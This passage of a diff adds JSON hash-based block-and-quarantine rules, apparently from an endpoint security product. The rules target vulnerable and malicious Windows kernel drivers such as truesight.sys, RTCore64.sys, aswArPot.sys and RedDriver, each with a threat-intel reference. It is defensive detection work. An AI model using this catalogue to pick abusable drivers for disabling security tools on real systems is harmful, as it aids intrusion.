+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.820629Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0c4195b9e85d718e9ca5b53230be30020e457e4424327ebdd51aa48661c91350",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "86814cc3-188e-5d33-bdb7-e9150a679935",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.479161Z",
+  "creation_date": "2026-03-23T11:45:30.479163Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.479170Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "516f0bbbc1b47ec2d83cc51be104920899193e2784a45b835fe68f864af1733b",
+  "comment": "Vulnerable Kernel Driver (aka rtkiow8x64.sys ) [https://www.loldrivers.io/drivers/998ed67c-9c20-46ef-a6ba-abc606b540b9/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "86a08d35-5419-55f3-9bdd-733700b46825",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488361Z",
+  "creation_date": "2026-03-23T11:45:31.488363Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488369Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7e8a739fc928c76d792810c86641de94d9cc3ceb6a65576c6579c22d5775db51",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "86a142ca-6882-5595-aa3f-afe6ff9e6072",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490523Z",
+  "creation_date": "2026-03-23T11:45:31.490525Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490530Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "59e7ecb67e77d91f11e3ec07eef716cb99543f5715102423a1c9812fd97fac28",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "86a5eac9-3d44-5138-b12d-b59bb3276835",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.485707Z",
+  "creation_date": "2026-03-23T11:45:31.485711Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.485721Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dea05ba6d07c03fad203e2016f522a323ac69ddf7dd951bb675006a0711277d6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "86a68632-bbb9-5f36-9e66-77360cf1dc5d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.496074Z",
+  "creation_date": "2026-03-23T11:45:31.496076Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.496081Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2af1c26840590e3bddf622705cf2557a4781b1ac195de1df8e5ff7261ce8a6c6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "86bf9e70-aef7-5365-b648-88e4e60814ce",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.461554Z",
+  "creation_date": "2026-03-23T11:45:30.461557Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.461566Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "12a636449a491ef3dc8688c5d25be9ebf785874f9c4573667eefd42139201aa4",
+  "comment": "Vulnerable Kernel Driver (aka netfilterdrv.sys) [https://www.loldrivers.io/drivers/f1dcb0e4-aa53-4e62-ab09-fb7b4a356916/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "86da8630-6524-55f6-86fa-3119d2d857dd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142558Z",
+  "creation_date": "2026-03-23T11:45:31.142560Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142566Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ee94d33ba5d7718c87023e96dc6e263e0820fbf798168273f7f9266ab9f5aef8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "86e70f28-6163-5a96-bf9c-3ba205918805",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.494763Z",
+  "creation_date": "2026-03-23T11:45:31.494765Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.494770Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "727fe503800e3cc91f21bf08ab6da107804f37ea295bb72fafb5387d0030f204",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "86f02377-977d-5867-ad8e-89c9208aacc8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.986049Z",
+  "creation_date": "2026-03-23T11:45:29.986051Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.986056Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "22074c412bb82bd97768eba0cb40e451d75d969e94d0548af804aafc04ca02fd",
+  "comment": "Malicious Kernel Driver related to RedDriver (aka telephonuAfY.sys, spwizimgVT.sys, 834761775.sys, reddriver.sys, typelibdE.sys, NlsLexicons0024UvN.sys and ktmutil7ODM.sys) [https://blog.talosintelligence.com/undocumented-reddriver/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "86f2e6f9-dbd8-5a81-9b75-8839936abaf2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.814439Z",
+  "creation_date": "2026-03-23T11:45:31.814442Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.814451Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "05159d9a44a7b169ca8f314627a003203646244d05362de69b1f36b814fe2224",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "870746e4-b59d-5cce-a633-caa4e4f31a57",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969168Z",
+  "creation_date": "2026-03-23T11:45:29.969170Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969176Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "65008817eb97635826a8708a6411d7b50f762bab81304e457119d669382944c3",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "870dc787-9aab-547d-ab44-81b337d5d5ce",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.483720Z",
+  "creation_date": "2026-03-23T11:45:31.483724Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.483734Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c6c44bb8ee72f922baa6acb2ad626177d51c82f9f6594c372b51ae16a99e4d4c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "871f8463-4024-558e-a089-c300e2bdf0b1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832261Z",
+  "creation_date": "2026-03-23T11:45:30.832263Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832268Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e81facaffce754a2c9ecfa49aba81b236b229c682f1d284edd044ba936815285",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "871fc288-415a-5568-af82-ce0822f38b0b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820702Z",
+  "creation_date": "2026-03-23T11:45:30.820704Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820710Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bc453d428fc224960fa8cbbaf90c86ce9b4c8c30916ad56e525ab19b6516424e",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8722a1ae-2be3-511f-bc09-07ad73d2dc6c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.612717Z",
+  "creation_date": "2026-03-23T11:45:29.612719Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.612725Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8926be6aa6df3b5d20483e0e698ea14fa0fb760844468ed69143d7f503250349",
+  "comment": "ASUS WinFlash vulnerable driver (aka ATSZIO.sys and ATSZIO64.sys) [https://github.com/Chigusa0w0/AsusDriversPrivEscala/blob/master/ATSZIO.md] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8733836e-a6ed-5f67-8ca0-9e5eb40fb68e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982853Z",
+  "creation_date": "2026-03-23T11:45:29.982855Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982860Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9d530642aeb6524691d06b9e02a84e3487c9cdd86c264b105035d925c984823a",
+  "comment": "Vulnerable Kernel Driver (aka WiseUnlo.sys) [https://www.loldrivers.io/drivers/b28cc2ee-d4a2-4fe4-9acb-a7a61cad20c6/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "873e8945-3a91-5ec4-83da-e1238bdc3650",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.460207Z",
+  "creation_date": "2026-03-23T11:45:30.460210Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.460219Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5de78cf5f0b1b09e7145db84e91a2223c3ed4d83cceb3ef073c068cf88b9d444",
+  "comment": "Vulnerable Kernel Driver (aka RTCore64.sys) [https://www.loldrivers.io/drivers/e32bc3da-4db1-4858-a62c-6fbe4db6afbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "874c16a7-3914-5668-8bfa-015b85f40d08",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156843Z",
+  "creation_date": "2026-03-23T11:45:31.156845Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156850Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "84af161109a74a85355f6f87e64b280950bd9bd60444f83a2915aa760b6090a5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "874e684a-ab3d-5b7f-bd88-280ca38e55e3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.971784Z",
+  "creation_date": "2026-03-23T11:45:29.971786Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.971792Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c7ba2720675aada538c47fa9e8950a81b6df23f63fa181680e6232651abffbef",
+  "comment": "PowerTool Hacktool malicious driver (aka kEvP64.sys) [https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/HackTool.Win64.ToolPow.A/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "875a76c4-c07c-5059-a970-87c73778c0f1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.481164Z",
+  "creation_date": "2026-03-23T11:45:31.481169Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.481178Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f27ae0329768838beaeed1dfcc5e9b29f43b930019cb99ab1a634f79f404c1ba",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "875c3f83-d5c3-500b-a04b-444c6511395a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.816906Z",
+  "creation_date": "2026-03-23T11:45:31.816910Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.816918Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1d5efd09cae59c8377f6faa0b6563c8e7e362d5b0e010bcee1af9fde5862742c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "875e1e1c-58c1-5c0b-b4d0-6898d13ece60",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.485737Z",
+  "creation_date": "2026-03-23T11:45:31.485741Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.485751Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b067710a04f656914df1c39ece3db3a1ff33e25be0938ac4ac5beb609c7c25fd",
